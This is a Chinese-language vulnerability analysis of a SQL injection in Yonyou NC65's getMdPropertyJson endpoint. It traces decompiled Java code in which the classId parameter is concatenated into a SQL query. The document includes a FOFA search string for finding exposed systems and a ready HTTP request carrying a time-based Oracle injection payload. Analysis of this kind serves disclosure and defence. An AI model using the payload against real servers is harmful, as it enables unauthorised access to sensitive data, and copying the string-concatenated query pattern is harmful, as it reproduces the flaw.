漏洞简介
用友NC系统可利用 /portal/pt/oauidesigner/getMdPropertyJson 接口中的 classId 参数实现sql注入,从而窃取服务器的敏感信息。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
本来是根据官方漏洞通告可知SQL注入点在 getMdPropertyJson 接口

因此搜索 getMdPropertyJson 方法的实现部分即可定位文件
nc/bs/oa/oaff/uidesigner/action/TemplatedesignerAction.class
package nc.bs.oa.oaff.uidesigner.action;
import java.net.URLDecoder;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.CopyOnWriteArrayList;
import nc.bs.framework.common.NCLocator;
import nc.bs.oa.oaff.uidesigner.utils.CommonMethodUtil;
import nc.bs.oa.oaff.uidesigner.utils.FreemarkerUtil;
import nc.bs.oa.oaff.uidesigner.utils.JsonUtil;
import nc.bs.oa.oaff.uidesigner.utils.UICompConfigCacheHelper;
import nc.bs.oa.oaff.utils.mdUtil;
import nc.itf.oa.oaff.oafreeform.manage.IEnumMdManageService;
import nc.itf.oa.oaff.oafreeform.manage.IFormMdManageService;
import nc.itf.oa.oaff.oafreeform.manage.IFormtemplateManageService;
import nc.itf.oa.oaff.oafreeform.query.ICustomCompQueryService;
import nc.itf.oa.oaff.oafreeform.query.ICustomWidgetQueryService;
import nc.itf.oa.oaff.oafreeform.query.IEnumMdQueryService;
import nc.itf.oa.oaff.oafreeform.query.IFormMdQueryService;
import nc.itf.oa.oaff.oafreeform.query.IFormtemplateQueryService;
import nc.itf.oa.oaff.oafreeform.query.IFreeformQueryService;
import nc.uap.cpb.org.exception.CpbBusinessException;
import nc.uap.lfw.core.exception.LfwBusinessException;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.core.log.LfwLogger;
import nc.uap.lfw.file.FileManager;
import nc.uap.lfw.file.vo.LfwFileVO;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.log.PortalLogger;
import nc.vo.oa.oaff.customcomp.CustomCompVO;
import nc.vo.oa.oaff.oacomp.UICompConfig;
import nc.vo.oa.oaff.oatemplate.EnumMdVO;
import nc.vo.oaff.customwidget.CustomWidgetVO;
import nc.vo.oaff.oaformtemplate.OaFormTemplateVO;
import nc.vo.oaff.oafreeformcategory.OaFreeformVO;
import nc.vo.oaff.oafreeformmd.OaFreeformMdVO;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFDateTime;
import org.apache.commons.lang.StringUtils;
import uap.lfw.dbl.cpdoc.itf.ICpCommomObjectQry;
import uap.lfw.dbl.cpdoc.itf.ICpDocSysAttrQry;
import uap.lfw.dbl.vo.CpDocAttributeVO;
import uap.lfw.dbl.vo.CpDocVO;
import uap.lfw.md.dao.IPropertyVOQuery;
import uap.lfw.md.vo.PropertyVO;
import uap.wap.bd.file.CPFileLockHelper;
import uap.wap.bd.file.CpFileLockVO;
import ufida.fasterxml.jackson.databind.ObjectMapper;
@Servlet(
path = "/oauidesigner"
)
@Action
public void getMdPropertyJson() throws BusinessException {
try {
String mdIdStr = this.getRequest().getParameter("mdIdMap");
String classId = this.getRequest().getParameter("classId");
ObjectMapper maper = new ObjectMapper();
HashMap<String, Integer> mdIdMap = (HashMap)maper.readValue(mdIdStr, HashMap.class);
mdUtil.setMdIdMap(mdIdMap);
IPropertyVOQuery propertyVOQuery = (IPropertyVOQuery)NCLocator.getInstance().lookup(IPropertyVOQuery.class);
PropertyVO[] vos = new PropertyVO[0];
try {
vos = propertyVOQuery.getPropertyVOByCondition("classid='" + classId + "' order by ATTRSEQUENCE ");
} catch (CpbBusinessException e) {
LfwLogger.error(e.getMessage(), e.getCause());
throw new LfwRuntimeException(e.getMessage());
}
classId 参数直接拼接在SQL语句后,代入 getPropertyVOByCondition 函数,其实现逻辑如下
public PropertyVO[] getPropertyVOByCondition(String condition) throws CpbBusinessException {
PropertyVO[] propertyvos = null;
try {
propertyvos = (PropertyVO[])(new PtBaseDAO()).queryByCondition(PropertyVO.class, condition);
return propertyvos;
} catch (DAOException e) {
CpLogger.error(e.getMessage(), e);
throw new CpbBusinessException(e.getMessage());
}
}
继续代入 queryByCondition 函数,其实现逻辑如下
public SuperVO[] queryByCondition(Class voClass, String strWhere) throws DAOException {
if (strWhere != null && strWhere.length() != 0) {
strWhere = " (isnull(dr,0)=0) and " + strWhere;
} else {
strWhere = " (isnull(dr,0)=0) ";
}
PersistenceManager manager = null;
SuperVO[] var5;
try {
manager = this.createPersistenceManager(this.dataSource);
List list = (List)manager.retrieveByClause(voClass, strWhere);
var5 = (SuperVO[])list.toArray((SuperVO[])Array.newInstance(voClass, 0));
} catch (DbException e) {
Logger.error(e.getMessage(), e);
throw new DAOException(e.getMessage());
} finally {
if (manager != null) {
manager.release();
}
}
return var5;
}
strWhere 直接拼接到 and SQL语句后 代入 retrieveByClause 函数
继续跟踪 retrieveByClause 函数
public Collection retrieveByClause(Class className, String condition) throws DbException {
return this.retrieveByClause(className, (String)condition, (String[])null);
}
public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
BaseProcessor processor = new BeanListProcessor(className);
return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
}
public Collection retrieveByClause(Class className, String condition, String[] fields) throws DbException {
return this.retrieveByClause(className, (String)condition, (String[])fields, (SQLParameter)null);
}
最终 classId 参数拼接进SQL语句后由 buildSql 函数组装成SQL语句,最终调用 executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现
只是示例
GET /portal/pt/oauidesigner/getMdPropertyJson?pageId=login&mdIdMap=1&classId=1'AND+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',4)-- HTTP/1.1
Host: nc65.mrxn.net
参考
https://security.yonyou.com/#/noticeInfo?id=667


